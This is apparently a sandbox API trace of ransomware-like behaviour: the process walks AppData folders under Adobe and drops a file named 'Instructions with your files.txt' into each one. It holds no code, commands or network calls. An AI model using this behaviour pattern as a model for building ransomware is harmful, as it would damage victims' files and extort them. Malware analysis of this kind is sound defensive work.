[0131.222] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda5adf20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xdefc97c0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x3a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", cAlternateFileName="48B764~1.CRL")) returned 1
[0131.222] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned 131
[0131.222] StrStrIW (lpFirst="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", lpSrch="SDfghjkl") returned 0x0
[0131.222] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda3e4ea0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda3e4ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xdefa3660, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x9347, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", cAlternateFileName="A9B821~1.CRL")) returned 1
[0131.222] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned 131
[0131.222] StrStrIW (lpFirst="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpSrch="SDfghjkl") returned 0x0
[0131.222] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda3e4ea0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda3e4ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xdefa3660, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x9347, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", cAlternateFileName="A9B821~1.CRL")) returned 0
[0131.222] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\Instructions with your files.txt") returned 119
[0131.222] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.224] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.224] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.225] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.225] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.225] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.225] CloseHandle (hObject=0x124) returned 1
[0131.225] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.225] GetProcessHeap () returned 0x810000
[0131.225] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.225] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0
[0131.225] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\Instructions with your files.txt") returned 110
[0131.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.225] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.226] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.226] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.226] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.227] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.227] CloseHandle (hObject=0x120) returned 1
[0131.227] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.227] GetProcessHeap () returned 0x810000
[0131.227] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.227] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0
[0131.227] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt") returned 101
[0131.227] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.229] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.230] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.230] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.230] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.230] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.230] CloseHandle (hObject=0x11c) returned 1
[0131.230] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.230] GetProcessHeap () returned 0x810000
[0131.230] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.230] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0
[0131.230] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\Instructions with your files.txt") returned 96
[0131.230] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.231] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.231] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.232] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.232] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.232] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.232] CloseHandle (hObject=0x118) returned 1
[0131.232] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.232] GetProcessHeap () returned 0x810000
[0131.232] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.233] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1
[0131.233] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned 68
[0131.233] GetProcessHeap () returned 0x810000
[0131.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.234] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned 70
[0131.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.235] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\.") returned 70
[0131.235] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.235] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\..") returned 71
[0131.235] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1
[0131.235] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned 79
[0131.235] GetProcessHeap () returned 0x810000
[0131.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.236] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned 81
[0131.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.236] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\.") returned 81
[0131.236] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.236] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\..") returned 82
[0131.236] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D5NTRC6R", cAlternateFileName="")) returned 1
[0131.236] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R") returned 88
[0131.236] GetProcessHeap () returned 0x810000
[0131.236] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.237] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*") returned 90
[0131.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.237] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\.") returned 90
[0131.237] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.238] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\..") returned 91
[0131.238] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.238] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\Instructions with your files.txt") returned 121
[0131.238] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\flash player\\assetcache\\d5ntrc6r\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.238] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.239] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.239] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.239] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.239] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.239] CloseHandle (hObject=0x120) returned 1
[0131.239] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.239] GetProcessHeap () returned 0x810000
[0131.239] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.239] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D5NTRC6R", cAlternateFileName="")) returned 0
[0131.240] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\Instructions with your files.txt") returned 112
[0131.240] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\flash player\\assetcache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
